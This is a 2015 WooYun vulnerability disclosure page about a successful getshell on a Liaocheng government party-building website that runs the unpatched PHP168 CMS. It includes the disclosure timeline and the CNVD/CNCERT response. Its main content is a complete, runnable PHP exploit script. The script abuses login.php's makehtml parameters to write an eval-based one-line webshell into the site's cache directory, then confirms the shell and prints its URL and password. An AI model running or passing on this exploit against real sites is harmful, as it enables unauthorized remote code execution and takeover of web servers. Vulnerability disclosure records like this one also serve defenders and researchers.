当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0132968

漏洞标题：聊城机关党建网getshell

相关厂商：聊城机关党建网

漏洞作者： 路人甲

提交时间：2015-08-12 11:25

修复时间：2015-09-26 14:24

公开时间：2015-09-26 14:24

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-12： 细节已通知厂商并且等待厂商处理中
2015-08-12： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-08-22： 细节向核心白帽子及相关领域专家公开
2015-09-01： 细节向普通白帽子公开
2015-09-11： 细节向实习白帽子公开
2015-09-26： 细节向公众公开

简要描述：

聊城机关党建网getshell
使用php168的cms 漏洞未修复

详细说明：

漏洞exp

<?php
/**
 * Name: php168_getshell.php
 */
print_r('
+------------------------------------------------------+
             PHP168 login.php GetShell EXP
                            Time：2013-11-19
+------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+------------------------------------------------------+
Useage: php ' . $argv[0] . ' host path
Host: target server (ip/hostname)
Path: path of login.php
Example: php ' . $argv[0] . ' localhost /php168
+------------------------------------------------------+
    ');
    exit;
}
error_reporting(7);
$host = $argv[1];
$path = $argv[2];
$shell = 'safe.php';
$code = '<?php%20@eval($_POST[safe])?>';
$url = "http://$host/$path/cache/$shell";
echo '正在GetShell,请稍候……' . "\n\n";
send_pack();
shell_ok($url);
//判断shell是否写入成功
function shell_ok($url)
{
    $headers = get_headers($url);
    if (strpos($headers[0], 'HTTP/1.1 200 OK') === 0) {
        echo '恭喜大爷，一句话写入成功，密码为：safe' . "\n\n" . 'Shell地址为：' . $url . "\n";
    } else {
        echo 'Shell写入失败,请尝试更换目录测试。' . "\n";
    }
}
//发送数据包函数
function send_pack()
{
    global $host, $path, $shell, $code;
    $data = "GET " . $path . "/login.php?makehtml=1&chdb[htmlname]=$shell&chdb[path]=cache&content=$code HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "User-Agent: BaiduSpider\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $fp = @fsockopen($host, 80, $errno, $errstr, 30);
    //echo ini_get('default_socket_timeout');//默认超时时间为60秒
    if (!$fp) {
        echo $errno . '-->' . $errstr . "\n";
        exit('Could not connect to: ' . $host);
    } else {
        fwrite($fp, $data);
        $back = '';
        while (!feof($fp)) {
            $back .= fread($fp, 1024);
        }
        fclose($fp);
    }
    return $back;
}
?>

漏洞证明：

shell地址：http://**.**.**.**/cache/wooyun.php


22.png


1.png


修复方案：

你们更专业

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-08-12 14:22

厂商回复：

CNVD未直接复现所述情况，已经转由CNCERT下发给山东分中心，由其后续协调网站管理单位处置。

最新状态：

暂无